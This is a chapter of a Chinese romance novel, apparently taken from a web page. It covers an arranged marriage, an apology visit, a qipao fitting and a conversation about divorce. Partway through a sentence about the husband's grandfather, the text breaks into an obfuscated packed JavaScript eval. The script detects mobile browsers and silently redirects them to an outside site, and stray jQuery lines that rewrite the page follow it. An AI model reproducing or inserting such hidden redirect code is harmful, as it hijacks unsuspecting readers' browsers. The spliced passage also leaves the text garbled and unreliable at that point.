谭连庆今日带着太太一起拜访,实在只是为了向唐小姐赔礼道歉。前些天,谭部长向太太逼问,你们到底对人家大小姐讲什么了,谭太太只好如实招来。
他知道,这话确实不好听,又告诉太太,赶快挑个礼。
得罪谁不好,偏偏惹到傅程铭头上去。
唐柏菲跟着傅程铭到内院儿,看见谭连庆和他太太起身迎接,两人腿边站着位小女孩儿,目测不过五六岁。
她的眼神和谭太太交汇一顺便各自分开,都挺尴尬。
谭连庆手摸着小姑娘脑袋,把人往前推,“你傅叔叔生爸爸气了,去哄他开心。”
傅程铭欲要开口,谭小姐先一步小跑过去,抱住他的小腿。女孩子一张嘴,前排门牙就剩一颗,声音稚嫩,讲话漏着点儿风,“叔叔,我饿了。”
他蹲下,右腿膝盖轻点地,仰视着谭小姐,“过厅有点心。”
谭小姐两条细胳膊环绕傅程铭脖颈,趴在他肩颈前,贴着他耳朵轻声说:“我饿的走不动了。”
傅程铭单手把她抱起,谭小姐坐在他小臂上。
谭连庆叫她快下来,“让你哄人,就这么哄的。”
谭小姐年纪这么小,却很伶俐,“大人做错大人承担,老叫小孩儿活跃气氛干什么呢。”
唐柏菲倍感意外,傅程铭竟然会抱孩子呢,看谭小姐的样子,应该不是第一次让他抱了。她两手交握垂下,看他带小孩子去过厅,檐下有四仙桌,案上案摆着几盘点心。他弯腰准备放谭小姐下去,小孩子等不及半途直接跳到地上,拿起糕点拆上面捆绑的细绳,半天拆不开,举到他眼前,傅程铭也极耐心,替她拆了两包,安稳塞进她手里。
看小孩子吃了几口,他人转身朝内院走。唐柏菲立刻收回视线。
“谭连庆,咱们直入主题,”傅程铭一面说,一面站在唐柏菲身旁,“你们今天要送什么。”
被问话的谭部长看一眼谭太太。
后者则上前半步,看着唐柏菲扯嘴角笑,“先给唐小姐说声对不住,只是,要送的旗袍还没做好呢,得先拿软尺量量,不然老师傅不好掌握。”
“旗袍?”唐柏菲问。
“是呀,”谭太太干笑几声,“那位老师傅裁剪手艺很好,一年就做不到十件儿,不少人去排队,都排到几年后了。而且,他师承民国时候的师傅,那位很有名,给宋美龄做过两件儿呢。”
谭太太从包里拿出软尺,举到唐柏菲面前,“到屋里,我帮你量。”
唐柏菲后退一步。
谭太太和那天完全是两个人,上前拉着唐柏菲的手,“走吧,之前的事儿就别放心上了。以后咱们之间,还要多走动呢。”
不计较那些话可以,但要当十分亲密的朋友,唐柏菲做不到,总觉着她们不是一类人。她咋咋呼呼,谭太太安安静静,时间久了,又得吵起来。
唐柏菲摇头,拿过谭太太手里的软尺,“我自己来。”
谭太太脸色又不好了。
谭连庆眼神在两位女士之间来回飘逸,终于开口劝,“你自己一个多不方便呐。我太太也是真心要和你做朋友。”
接下来是长达半分钟的安静。
三个人互相下不来台。
傅程铭看她手指紧紧绞着软尺,指腹都红了,出声打破寂静,“我来。”
唐柏菲抬起眉,眼中是震惊。
“去我屋里。”傅程铭不可置否,却是询问语气,“你觉着呢。”
这样也好,替她找台阶下,不比和谭太太一块儿尴尬得强?
唐柏菲仰头看着他眉眼,蹦出一个“嗯”字。
晌午,太阳晃眼。
谭太太望着他们的背影,心口涌上一阵涩意。她大概是羡慕唐柏菲戴着的那块儿红宝石,或是她年轻漂亮,二十出头的年纪,有疼爱她的父母,嫁了一位会处处观察她情绪的人,这些因素,造就唐小姐那样骄纵的性格,从不用按照谁的想法活,更不用看别人脸色。她们不是一类人,她也不会和她做朋友。
“谭连庆,”谭太太语气冷硬,“不是让你去查了吗?那天的红宝石哪儿买的,你也要给我买一颗。”
谭部长看见他太太眼中转瞬即逝的落寞,有些慌,“我找谁问去呢,连唐柏菲本人都不知道哪儿来的。”
“我不管,你必须给我买。”
“买了你也戴不成啊,”谭连庆真心劝,“这些年上面查得紧,你就戴那么招摇一颗,不是撞枪/口了么。”
“那为什么她就可以。”
“那是婚前财产啊我的祖宗,而且人家爹做生意,她又是模特,没那些条框。”
谭连庆讲完,即刻被自己太太翻了个大白眼。
-
唐柏菲第一次去傅程铭的院子。
院子挺大的,垂花门里头是穿堂,后头有间过厅,再往里才是上房大院儿。
上房有三间,均被丝绢屏风隔开,一明两暗,左右两侧各是书房、办公厅;书房内有三面墙都是顶到天花板的书柜,满是书,办公厅一桌一椅,装修古朴简素,大多为木质家具,漆皮沙发颜色沉厚,低调里透出一点点奢靡。
中间则是卧房。
最小的一间。
傅程铭带她进去,手压住门把,“请。”
唐柏菲进门,站在中央,看这屋。中间一张单人床,两边床头柜,窗户朝外敞着,旁边又是两座红木雕纹顶箱柜,瞧着像老古董,里面不知放着什么东西。
“你一个人可以么?”他问。
“哦,”唐柏菲回神儿,“可以。”
傅程铭点头,从书房拿来一张纸,一杆灌墨钢笔,放在床头柜上,又朝门外退,“记得把数写在纸上,有什么需要就叫我,我在隔壁。”
说着,他离开这儿。
门合上。
唐柏菲等人走远,开始像个贼一样看这房间,踮脚看,趴着看,从天花板的吊灯,到地面的木板间缝隙,再慢慢走到顶箱柜前,静站了片刻。
抬手,摸着上面的纹理,有浅有深的。
这样偷窥别人的柜子并不好,但实在耐不住好奇心,轻轻拉开一侧柜门,看里面,左边是衣裳,青一色黑西装,右边则是一些杂物,除了文件袋,最显眼的便是那些相框。
框里卡着照片,看样子很多年了,大部分是他小时候的,他在故宫、香山、或是南京的总统府,唐柏菲盯着照片里的男孩子,发现他小小年纪就像大人,再过几年该成老人了。
她嘴角勾起坏笑,直翻到压箱底的一张,又皱眉,看样子是什么抗日纪念馆的,原黑白照挂在馆内墙壁,角落写着傅东仁先生,摄于1949年。
是他爷爷吗?
似乎听爸爸提起过这位,“傅东仁...”她默默念着。爸爸说,可惜了,傅老先生熬得过45年日本人投降,却没挺过53年。
唐小姐抱着照片,看了会儿,塞进去,又跪在地面,整个身子探进柜子里。
直到外面有“砰砰”的敲门声,她才如临大敌般,探出头,猛地把柜门合上,动静别提有多大。
门推开一瞬,傅程铭踱步进室内,唐柏菲拿起软尺,慌乱起身,装模作样套在腰间。
傅程铭视线落在床头柜那张纸面上,没一点字迹,再抬眼看她,女孩子把软尺缠在自己身上,不知道的以为她这是挂披肩。他走近几步,附赠礼貌的笑,“需要我帮你么?”
“那个,我,”唐柏菲尴尬得想找个地缝,怔怔看着他,胸前因偷看过人家的照片而起伏着,“差不多了。”
“好,”他应下,弯腰拿起纸笔,递在她面前,“那记下来,之后给谭太太。”
“啊?”她还没量呢...
傅程铭余光扫了眼未关严的柜门,了然,却不戳穿,只看着她,“我来帮你。”
“你别以为我不会啊,”她还在挣扎,“我只是,用不惯这个尺子。”
“嗯,你坐下。”他抬抬下巴,似是并不和她计较这些。
“坐哪儿。”
“床上。”
唐柏菲一回头,再抬眼看他,就那么顺其自然坐在他床边了。他的床面高,自己两脚还在半空悬着,离地面有一指宽。
傅程铭顺势单膝跪下,手抻着软尺,绕在她膝间,记下一个数字,腾在纸面上。尺子轻轻细细的触感划着,从她膝盖绕到大腿左右,像身上蹿过的电流,唐柏菲手抻住床面,指尖攥紧白色床单,尽量让呼吸平静,她垂眼看他十分认真,眼睛从不乱瞟,只看尺子上那点刻度线。
片刻。
纸上已经有一些数字。
他把卷尺绕在唐柏菲手腕和手臂上,左右分别量了三次。
空气静静的,像是一点儿都不透风的罐头盒。
唐柏菲觉着闷,便问他,“你怎么知道量哪里。”
“几年前,我奶奶要去清华演讲,”傅程铭说着,起身,将软尺绕在她胸前,束在后背,替她轻轻把头发顺在前面,“主办方要穿着得体,她就穿的旗袍,也是手工现裁的,我替她量。平裁要比立裁难得多,必须量到位,不然没法儿上身。”平裁,一片式,一剪刀下去要从头到尾都合身,松紧有度,最考验裁缝的水平。
唐柏菲听不见这些话,她只能感受最敏感的地方挂着东西,后又听到自己发丝蹭着他西装,发出一点细小、却足矣占据耳膜的声响。更甚,能听着心脏砰砰砰的跳,她手心冒汗,从床面放在大腿间。鼻尖是清淡味道,不是香水,倒像是洗手液,干干净净的,傅程铭的鼻息悬在头顶,气流直往领口里钻,她缩了缩脖子,为掩饰什么,开了口:“你那天提到你爷爷了,对吧。”
“嗯。”
“他照片是不是挂在什么纪念馆呢。”她眼睛斜向上,试探着,看他打在眼下的一片阴影。
傅程铭把尺子往她脖子上绕,专注看藏在她发丝间的刻度,声线比她沉稳,“是。”
他指节不小心划过唐柏菲耳后的皮肤,她有点痒,不过一直忍着,“他很早就去世了?”
傅程铭用钢笔在某个刻度上画横线,之后,离开她身前,“大约五十岁。”
“为什么,生病了?”
纸面上数字齐齐整整两排,记好了,他把笔帽拧住,这才看到女孩子睁着两只大眼睛,不禁失笑,“据说是受刑太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542785|171058||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多,肺部受重创,最后窒息而死了。大概是45年往后,日本特高课还有一批留在中国,把毛巾蒙在他脸上,往上浇温水,这很毁身体,所以出去后,不过五年就到了肺癌晚期。”
唐柏菲张嘴片刻,又合上,不知道说什么。
傅程铭伸手,把纸给她,“你可以不和谭太太做朋友。”
“我还以为你要劝和呢。”
“如果一个人冒犯了另一个,只是道歉就可以要求那位原谅、成为好朋友,那欺负人的成本过于低了。”
譬如,我都向你道歉了,你怎么还不依不饶,你怎么那样小气,怎么得理不饶人,诸如此类,把原本她自己的错误,嫁接到别人身上,傅程铭说的没错,那样欺负人可太容易,我说你几句坏话,只要后续来道歉,就能把自己撇得干干净净。
他的视线还停在唐柏菲身上,光线照着他一半侧脸,深邃的眼眸半明半昧,“总之,一切按你的意愿来,包括和我离婚。”
就如此坦坦荡荡挑明了。
唐小姐却不开心,要离婚也是她先提,什么时候轮到别人决定了?她想,大概是因为这个别扭,专门佯作特别开心,“好啊,我来定离婚的日子。那离婚后呢?”
“如果你有特别喜欢的男生,我可以和你父母一起把关。”傅程铭说完,手压门把,开了门,侧身示意她过。
她将手背到身后,双手揉着纸面,力度特别大,迟迟不肯上前,“你和我爸爸认识几年了。”
“将近十年。”
“那也不到十年,”唐小姐心里乱,望着门外那一片绿荫,眼睛有些失焦,“才十年你就想替我把关了,你想得美。”
唐柏菲将纸扔给他,“我才不会听你的。”甩下一句话,快步从他身前走出室内。
纸团打在傅程铭胸前,他接住,又看了眼走远的唐小姐,将纸展开、抚平,可惜无济于事,已经被揉得不成样子。
他没法,只好重新抄一份。
-
穿堂里刮着暖风,太阳挺刺眼。
唐柏菲快步走,胳膊能甩到太阳穴上,像是跟谁赌气。
轻描淡写的说离婚,十年就摆出长辈的姿态了?想做她干爹?门都没有!他倒是很大度哈,搞得这场婚像个笑话,她也像笑话,他自诩是大人,把她当个小孩子,什么都不懂的孩子。
到最后,是小跑进屋里的。
她脱掉鞋子,自由落体式平躺在床上,双臂伸直,这么着甚至能听见心跳声,咚咚咚地,就在耳边。她脸颊也烫,贴着冰凉的床单也迟迟不降温,好像是刚才太阳在她皮肤上着了火。
卷起厚重的被子,把整个人裹在里面,膝盖顶住胸口,蜷缩起,就露出一点儿头顶碎发。
手机在耳边,唐柏菲拿起,给毛晚栗发了一条莫名其妙的话,[特别好,特别棒,我离婚以后喜欢谁,或者现在就喜欢谁,都和他没关系,反正傅程铭宰相肚里能撑船,就他成熟,我是小孩子,就他和我爸认识十年他算大人,我最讨厌装大人了,那我还和我爸认识二十二年呢,他是不是得叫我奶奶!]
打完字,扔了手机。
从今天起,她唐小姐要多个孙子了!
-
一直躺到天黑。
唐柏菲睡了好几觉,接连做着梦。再睁眼时,房间暗到不像样,浑身出汗,身后裙面和脖颈的头发黏腻着皮肤,她把被子蹬远,又冷。
莫名其妙睡这么长时间很难受,头闷,嗓子干。
想下床找水喝,却浑身软,懒得动。
侧躺着,双目无神盯住屋里唯一光源——门框底漏进来的光。
不过半晌,门框底部的光源被黑影挡住一半,她眼睛慢慢聚焦到那里。
外面响起两道人声。
“从上午快吃饭就睡到现在,这么长时间,我也不敢进去打扰,是不是生病了。”
哦,这是成姨。
“中途没出来过?”
这是他。
唐小姐紧抓着枕头边,仔细听着动静。
“没有,一次都没有。得吃点儿东西,饿坏了怎么办呢,”成姨停顿片刻,“您把这个拿进去,好歹吃一口,如果有什么不舒服的,我叫医生来看。”
“好,麻烦您了。”
“应该的。”
又是安静。
一秒。
两秒。
三秒。
金属把手咔嚓一声。
门推开,大片光亮晃在她脸上。
唐柏菲不知道在紧张什么,瞬间,合上眼睛装睡。
现下没有视觉,听觉嗅觉就格外敏锐。她能闻到浓浓香气,好像花胶竹笙汤,还有一个,吊瓜笋煨鳜鱼。
木地板上有沉稳的皮鞋落地声。
一下又一下,不急不缓的,和她的心脏一个拍,沉沉的跳,快从嘴里跳出来。
他应该是把托盘放在床头,又去拉椅子,拖到她床边。
衣服摩擦声过后,唐柏菲感到他就坐在旁边。
接着。
啪嗒——台灯亮起。
她就算闭着眼睛,眼皮前也不是纯黑色。